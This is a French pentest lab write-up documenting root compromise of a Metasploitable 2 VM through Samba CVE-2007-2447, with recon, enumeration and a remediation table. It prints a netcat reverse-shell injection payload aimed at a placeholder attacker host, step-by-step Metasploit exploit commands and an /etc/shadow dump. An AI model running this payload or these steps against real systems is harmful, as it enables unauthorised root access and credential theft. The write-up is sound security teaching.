Accès Initial sur Metasploitable 2 — Exploitation Samba CVE-2007-2447
Rapport technique complet de pentest sur Metasploitable 2 : reconnaissance ARP, scan exhaustif Nmap, énumération Samba, exploitation CVE-2007-2447 (username map script) via Metasploit et obtention d'un shell root direct.
Contexte & Cadre Légal
| Champ | Détail |
|---|---|
| Cible | Metasploitable 2 — 192.168.227.129 |
| Attaquant | Kali Linux — 192.168.227.128 |
| Réseau | VMware Host-Only — 192.168.227.0/24 |
| CVE exploitée | CVE-2007-2447 |
| Service | Samba 3.0.20-Debian (SMB) |
| Résultat | Shell root sans authentification |
| Difficulté | easy |
[!WARNING] Ce rapport documente un TP universitaire réalisé dans un laboratoire strictement isolé sous VMware Workstation. Toutes les actions décrites sont menées sur une machine volontairement vulnérable dans un cadre légal et éthique. La reproduction de ces techniques sur des systèmes sans autorisation explicite est illégale.
Kill chain :
Reconnaissance ARP (netdiscover)
│
▼
Scan exhaustif TCP (nmap -p-)
│ 10 surfaces d'attaque identifiées
▼
Énumération Samba (smbclient + enum4linux)
│ NULL session, utilisateurs, partages
▼
Identification CVE-2007-2447 (nmap smb-vuln* + searchsploit)
│
▼
Exploitation Metasploit (usermap_script)
│
▼
Shell root direct — compromission totale
Phase 1 — Reconnaissance
Objectif
Localiser précisément la machine cible sur le segment réseau VMware afin d'obtenir une adresse IP valide et confirmée pour les phases ultérieures.
Choix de l'outil : ARP vs ICMP
netdiscover a été préféré à un simple ping ICMP pour une raison technique importante : les pare-feux et configurations système peuvent filtrer les paquets ICMP, tandis que les réponses ARP sont toujours autorisées au sein d'un même broadcast domain. Dans un réseau VMware Host-Only, tous les hôtes partagent le même segment — la découverte ARP est donc fiable et non filtrable.
sudo netdiscover -i eth1 -r 192.168.227.0/24
-i eth1: Interface réseau de Kali connectée au segment VMware-r 192.168.227.0/24: Plage réseau à scanner
Résultats
IP At MAC Address Count Len MAC Vendor / Hostname
192.168.227.1 00:50:56:c0:00:03 1 60 VMware, Inc.
192.168.227.129 00:0c:29:5d:18:bc 1 60 VMware, Inc.
192.168.227.254 00:50:56:ea:72:73 1 60 VMware, Inc.
| IP | MAC | Rôle présumé |
|---|---|---|
| 192.168.227.1 | 00:50:56:c0:00:03 | Interface hôte (passerelle) |
| 192.168.227.129 | 00:0c:29:5d:18:bc | Cible — Metasploitable 2 |
| 192.168.227.254 | 00:50:56:ea:72:73 | VMware (DHCP/DNS) |
Analyse : L'adresse 192.168.227.129 est formellement attribuée à Metasploitable 2 grâce à son OUI VMware (00:0c:29) et son comportement typique. Cible confirmée — on passe au scan.
Phase 2 — Scanning & Discovery
Objectif
Cartographier exhaustivement les ports ouverts, les services en écoute et leurs versions exactes afin de constituer une surface d'attaque complète.
sudo nmap -p- -sV -sC -Pn -oN scan_nmap.txt 192.168.227.129
-p-: Scan des 65 535 ports TCP (aucun service caché ne sera manqué)-sV: Détection précise des versions (indispensable pour la recherche d'exploits)-sC: Scripts NSE standards (détection de failles connues, bannières)-Pn: Pas de ping préalable-oN: Sauvegarde au format texte pour archivage
Résultats
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4)
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
|_vnc-info: Security types: None, VNC Authentication (2)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jvere (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Surfaces d'attaque priorisées
10 vecteurs identifiés, classés par simplicité d'exploitation et impact :
| # | Port | Service | Vecteur |
|---|---|---|---|
| 1 | 21 | vsftpd 2.3.4 | Backdoor connue → shell direct |
| 2 | 1524 | Bindshell root | Shell root sans authentification |
| 3 | 139/445 | Samba 3.0.20 | CVE-2007-2447 — username map script → RCE root |
| 4 | 6667 | UnrealIRCd | Backdoor IRC → shell |
| 5 | 80 | Apache 2.2.8+DAV | WebDAV mal sécurisé, injection potentielle |
| 6 | 8180 | Tomcat 5.5 | Déploiement WAR malveillant |
| 7 | 2121 | ProFTPD 1.3.1 | RCE connue |
| 8 | 3306 | MySQL 5.0.51a | Authentification faible, injection SQL |
| 9 | 5900 | VNC | Authentification faible, brute-force |
| 10 | 22 | OpenSSH 4.7p1 | Brute-force, clés faibles (moins prioritaire) |
Décision : On cible Samba 3.0.20 (priorité 3) — vecteur riche en enseignements techniques sur la mauvaise configuration et l'injection de commandes.
Phase 3 — Énumération Samba
Objectif
Collecter des informations détaillées sur Samba : partages accessibles, utilisateurs présents, configuration de sécurité, confirmation de vulnérabilité.
# Test d'accès anonyme et liste des partages
smbclient -L //192.168.227.129 -U "" -N
# Énumération complète
enum4linux -a 192.168.227.129
Pourquoi ces deux outils ?
smbclient -L -Nvérifie rapidement les partages accessibles sans authentificationenum4linux -aautomatise la collecte étendue : RID cycling, politique de mots de passe, OS, utilisateurs — sans passer par Metasploit à ce stade
Résultats — smbclient
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (metasploitable server Samba 3.0.20-Debian)
ADMIN$ IPC IPC Service (metasploitable server Samba 3.0.20-Debian)
Server Comment
WORKGROUP METASPLOITABLE
Résultats — enum4linux (extraits significatifs)
[+] Got domain/workgroup name: WORKGROUP
[+] Server 192.168.227.129 allows sessions using username '', password ''
[+] Got OS info from srvinfo:
METASPLOITABLE Wk Sv PrQ Unx NT SNT metasploitable server (Samba 3.0.20-Debian)
platform_id : 500
os version : 4.9
[+] Users on 192.168.227.129:
index: 0x1 Account: games Name: games
index: 0x6 Account: user Name: just a user,111,,
index: 0x7 Account: www-data Name: www-data
index: 0x8 Account: root Name: root
index: 0xa Account: postgres Name: PostgreSQL administrator,,,
index: 0x14 Account: mysql Name: MySQL Server,,,
index: 0x18 Account: msfadmin Name: msfadmin,,,
index: 0x21 Account: tomcat55 Name: (null)
Synthèse de l'énumération
Workgroup : WORKGROUP
Version Samba : 3.0.20-Debian
Politique MDP : complexité désactivée, longueur minimale = 0
NULL session : autorisée (username='', password='')
Partage tmp : accessible en lecture
Comptes sensibles : root, msfadmin, postgres, mysql, tomcat55
Interprétation : Configuration extrêmement permissive. La NULL session autorisée permet l'énumération complète sans credentials. L'absence de politique de mots de passe combinée à la version 3.0.20 confirme : les conditions d'exploitation de CVE-2007-2447 sont réunies.
Phase 4 — Identification de Vulnérabilités
Objectif
Confirmer la présence de CVE-2007-2447 sur Samba 3.0.20-Debian et évaluer son exploitabilité.
# Scripts Nmap NSE spécifiques Samba
nmap --script smb-vuln* -p 139,445 192.168.227.129 -oN smb_vuln_scan.txt
# Recherche d'exploits publics
searchsploit samba 3.0.20
Résultats — Nmap smb-vuln*
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:5D:18:BC (VMware)
Host script results:
| smb-vuln-ms10-061: false
| smb-vuln-ms10-054: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed
Résultats — searchsploit
Exploit Title | Path
---------------------------------------------------------------------|-------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script Command Execution | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
La ligne unix/remote/16320.rb confirme un exploit public documenté pour notre version exacte.
Comprendre CVE-2007-2447 — Le mécanisme
CVE-2007-2447 est une vulnérabilité d'exécution de commandes arbitraires non authentifiée dans Samba 3.0.0 à 3.0.25rc3.
Cause racine : La directive username map script dans smb.conf permet d'exécuter un script externe pour mapper les noms d'utilisateurs. Samba 3.0.20 passe le nom d'utilisateur fourni par le client directement à un shell via popen(), sans aucune validation ni sanitisation.
Mécanisme d'injection :
Username envoyé par le client :
/=`nohup nc -e /bin/sh ATTAQUANT 4444`
Commande construite par samba internement :
/bin/sh -c "username map script /=`nohup nc -e /bin/sh ...`"
Le backtick ` force l'exécution dans le shell
→ nc se connecte en reverse vers l'attaquant avec un shell
[!WARNING]
smbdtourne avec les privilèges root par défaut sur Metasploitable 2. La commande injectée s'exécute donc directement en tant que root — aucune élévation de privilèges nécessaire. Deux erreurs combinées : appelpopen()sans sanitisation + service réseau exposé en root.
Phase 5 — Exploitation
Configuration Metasploit
msfconsole
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.227.129
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.227.128
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > set LPORT 4444
msf6 exploit(multi/samba/usermap_script) > exploit
Ce que fait le module : Metasploit envoie une requête d'authentification SMB avec un username forgé contenant une commande shell encodée entre backticks. Samba passe ce username à popen(), déclenchant l'exécution — un bash se connecte en reverse sur notre listener.
Résultats
[*] Started reverse TCP double handler on 192.168.227.128:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo KUOpzGIlCDRJi3oV;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] B: "KUOpzGIlCDRJi3oV\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.227.128:4444 -> 192.168.227.129:46XXX)
Shell obtenu. Aucune authentification nécessaire.
Phase 6 — Vérification de l'Accès
Confirmation des privilèges
whoami
root
id
uid=0(root) gid=0(root)
hostname && uname -a
metasploitable
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Stabilisation du shell
Le shell obtenu est basique (pas de TTY). On le stabilise :
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
root@metasploitable:/#
Preuves de compromission totale
root@metasploitable:/# cat /etc/shadow | head -3
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
root@metasploitable:/# ls /root/
reset_logs.sh vnc.log
Accès complet au système de fichiers, aux hashes de mots de passe et à tous les services en tant que root — compromission totale confirmée.
Conclusion
Kill chain complète
1. netdiscover → Cible identifiée : 192.168.227.129
2. nmap -p- → 25+ services, dont Samba 3.0.20 sur 139/445
3. smbclient → NULL session + partages accessibles
4. enum4linux → Utilisateurs, politique MDP absente
5. searchsploit → CVE-2007-2447 confirmée, exploit public
6. Metasploit → usermap_script exécuté avec succès
7. Shell root → uid=0 sans authentification
Remédiation
| Vecteur vulnérable | Problème | Remédiation |
|---|---|---|
| Samba 3.0.20 | Version non patchée depuis 2007 | Mettre à jour vers Samba ≥ 3.0.25rc3 |
username map script | Passé à popen() sans validation | Désactiver si non utilisé dans smb.conf |
| smbd en root | Service réseau avec UID 0 | Appliquer le principe de moindre privilège |
| NULL session autorisée | Énumération sans credentials possible | restrict anonymous = 2 dans smb.conf |
| Politique MDP absente | Longueur minimale = 0, complexité désactivée | Activer une politique de mots de passe stricte |
[!NOTE] CVE-2007-2447 date de 2007 — 19 ans au moment de ce lab. Metasploitable 2 est intentionnellement vulnérable, mais ce type de configuration (service non patché, tournant en root, NULL session autorisée) existe encore en production. C'est précisément pour ça que ce lab reste pertinent pédagogiquement.
Writeup rédigé par ZCook
